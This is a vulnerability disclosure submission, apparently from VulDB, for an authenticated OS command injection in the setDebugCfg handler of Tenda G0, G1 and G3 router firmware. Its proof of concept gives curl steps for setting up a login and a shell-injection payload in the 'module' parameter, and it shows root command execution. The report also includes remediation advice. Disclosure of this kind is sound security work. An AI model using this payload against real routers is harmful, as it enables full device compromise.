Soumettre #894234: Tenda G0, G1, and G3 AP management router family `US_G0-POEV1.0RE_V15.11.0.69039_CN_TDC01`, `US_G0-PoEV1.0RE_V15.11.0.55876_TDC`, `US_G0V1.0RE_V15.11.0.55876_TDC`, `US_G1V1.0&G3 OS Command Injection

Tenda G0/G1/G3 setDebugCfg authenticated command injection

## 2. Vulnerability Summary

- **Internal Tracking ID:** TENDA-G0-SETDEBUGCFG-CMD-001
- **Vulnerability Class:** CWE-78
- **Vulnerability Type:** OS Command Injection
- **Severity:** 8.8 (High)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Authenticated administrator or initialized first-setup session
- **Verification Status:** CONFIRMED
- **Verification Evidence:** QEMU HTTP service reproduction and root id sentinels across G0/G1/G3 builds

## 3. Affected Vendor / Product

- **Vendor:** Tenda
- **Product:** G0, G1, and G3 AP management router family
- **Affected Version / Firmware:** US_G0/G1/G3 firmware variants listed in report
- **Affected Component:** bin/httpd GoAhead handler /goform/setDebugCfg module parameter
- **Architecture:** MIPS/ARM variants

## 4. Description

| Field | Value |
| ------------------ | ------------------------------------------------------------ |
| VulnDB ID | Pending assignment |
| Vendor | Tenda |
| Product | G0, G1, and G3 AP management router family |
| Affected Firmware | `US_G0-POEV1.0RE_V15.11.0.69039_CN_TDC01`, `US_G0-PoEV1.0RE_V15.11.0.55876_TDC`, `US_G0V1.0RE_V15.11.0.55876_TDC`, `US_G1V1.0&G3V3.0br_V15.11.0.179502_CN_TDC`, `G3V3.0br_V15.11.0.20(10700)_CN_TDC` |
| Affected Component | `bin/httpd` GoAhead handler `/goform/setDebugCfg` |
| Vulnerability Type | OS command injection |
| CWE | CWE-78 |
| CVSS v3.1 | 8.8 High |
| CVSS Vector | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| Discovery Source | FirmRec batches `tenda_new_all_closed_022_of_046` and `tenda_new_all_closed_023_of_046`, manually confirmed |

```
inout/reports/tenda_new_all_manual/g0_debugcfg_69039_callers.json
inout/reports/tenda_new_all_manual/g0_debugcfg_55876_callers.jsonl
inout/reports/tenda_new_all_manual/g0_debugcfg_evidence/69039_debug_body.txt
inout/reports/tenda_new_all_manual/g0_debugcfg_evidence/69039_sentinel.txt
inout/reports/tenda_new_all_manual/g0_debugcfg_evidence/55876_debug_body.txt
inout/reports/tenda_new_all_manual/g0_debugcfg_evidence/55876_sentinel.txt
inout/reports/tenda_new_all_manual/g_series_debugcfg_evidence_20260529/g0_55876_debug_body.txt
inout/reports/tenda_new_all_manual/g_series_debugcfg_evidence_20260529/g0_55876_sentinel.txt
inout/reports/tenda_new_all_manual/g1g3_recheck_20260529/g1_179502_debug_cookie_body.txt
inout/reports/tenda_new_all_manual/g1g3_recheck_20260529/g1_179502_sentinel.txt
inout/reports/tenda_new_all_manual/g1g3_recheck_20260529/g3_1511020_debug_cookie_body.txt
inout/reports/tenda_new_all_manual/g1g3_recheck_20260529/g3_1511020_sentin
```

## 6. Proof of Concept / Reproduction

The following steps reproduce the issue against the emulated firmware service and avoid relying on external summary attachments.

1. Extract the firmware root filesystem and run the MIPS big-endian `httpd` service on a local test port:

```bash
qemu-mips-static -L ./rootfs ./rootfs/bin/httpd ./rootfs/webroot_ro 127.0.0.1:18080
```

2. Initialize the first-setup password, matching the product web UI JSON request. `YWRtaW4xMjM=` is base64 for `admin123`.

```bash
curl -c cookies.txt -b cookies.txt \
-H 'Content-Type: application/json' \
--data-binary '{"setQuickCfgWifiAndLogin":{"wifiSSID":"FirmRec","wifiPassword":"FirmRec123","sysPassword":"YWRtaW4xMjM=","wifiSecurity":"psk2","bLanguage":"en"}}' \
'http://127.0.0.1:18080/goform/module'
```

3. Authenticate with the configured password.

```bash
curl -c cookies.txt -b cookies.txt \
-H 'Content-Type: application/json' \
--data-binary '{"auth":{"password":"YWRtaW4xMjM="}}' \
'http://127.0.0.1:18080/goform/module'
```

4. Send the vulnerable request. The injected `id` command writes a root-execution sentinel.

```bash
curl -c cookies.txt -b cookies.txt \
'http://127.0.0.1:18080/goform/setDebugCfg?enable=1&level=2&module=x%3Bid%3E%2Ftmp%2FTENDA_G0_DEBUGCFG_PWN%3B%23'
```

5. Observe the HTTP response and created sentinel:

```text
HTTP response body:
echo enable=1 level=2 > /var/debug/x;id>/tmp/TENDA_G0_DEBUGCFG_PWN;#

/tmp/TENDA_G0_DEBUGCFG_PWN:
uid=0(root) gid=0(root) groups=0(root)
```

The same procedure was repeated successfully on `US_G0-PoEV1.0RE_V15.11.0.55876_TDC` using port `18081` and sentinel `/tmp/TENDA_G0_55876_DEBUGCFG_PWN`, and on non-PoE `US_G0V1.0RE_V15.11.0.55876_TDC` using port `18100` and sentinel `/tmp/TENDA_G0_NONPOE_DEBUGCFG_PWN`.

For the ARM G1/G3 images, the product web UI uses a form-encoded first-login flow. The same vulnerable endpoint was reproduced after initializing the administrator password with `/goform/initAdminUser` and authenticating through `/login/Auth`:

```bash
qemu-arm-static -L ./rootfs ./rootfs/bin/httpd ./rootfs/webroot_ro 127.0.0.1:18201

curl -c cookies.txt -b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'sysUserPwd=YWRtaW4xMjM=' \
'http://127.0.0.1:18201/goform/initAdminUser'

curl -c cookies.txt -b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'password=YWRtaW4xMjM=' \
'http://127.0.0.1:18201/login/Auth'

curl -c cookies.txt -b cookies.txt \
'http://127.0.0.1:18201/goform/setDebugCfg?enable=1&level=2&module=x%3Bid%3E%2Ftmp%2FTENDA_G1_179502_DEBUGCFG_RECHECK%3B%23'
```

The same ARM flow created root `id` sentinels on `US_G1V1.0&G3V3.0br_V15.11.0.179502_CN_TDC` and `G3V3.0br_V15.11.0.20(10700)_CN_TDC`.

## 7. Security Impact

Successful exploitation allows an authenticated administrator to execute arbitrary shell commands as root on the router. This can lead to full device compromise, persistent configuration modification, traffic interception, and denial of service.

## 8. Remediation Recommendation

Do not build shell commands with raw HTTP parameters. Replace `system()` with direct file I/O for debug configuration, validate `module` against an allowlist of known module names, and reject shell metacharacters such as `;`, `&`, `|`, `` ` ``, `$`, `>`, `<`, and newline characters.

• La source: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TENDA-G0-SETDEBUGCFG-CMD-001-vulndb.md
• Utilisateur: ST4R0003 (UID 99608)
• Soumission: 17/07/2026 19:04 (il y a 1 mois)
• Modérer: 30/08/2026 19:37 (1 month later)
• Statut: Dupliqué
• Entrée VulDB: 173150 [Tenda G0/G1/G3 action/setDebugCfg formSetDebugCfg élévation de privilèges]
• Points: 0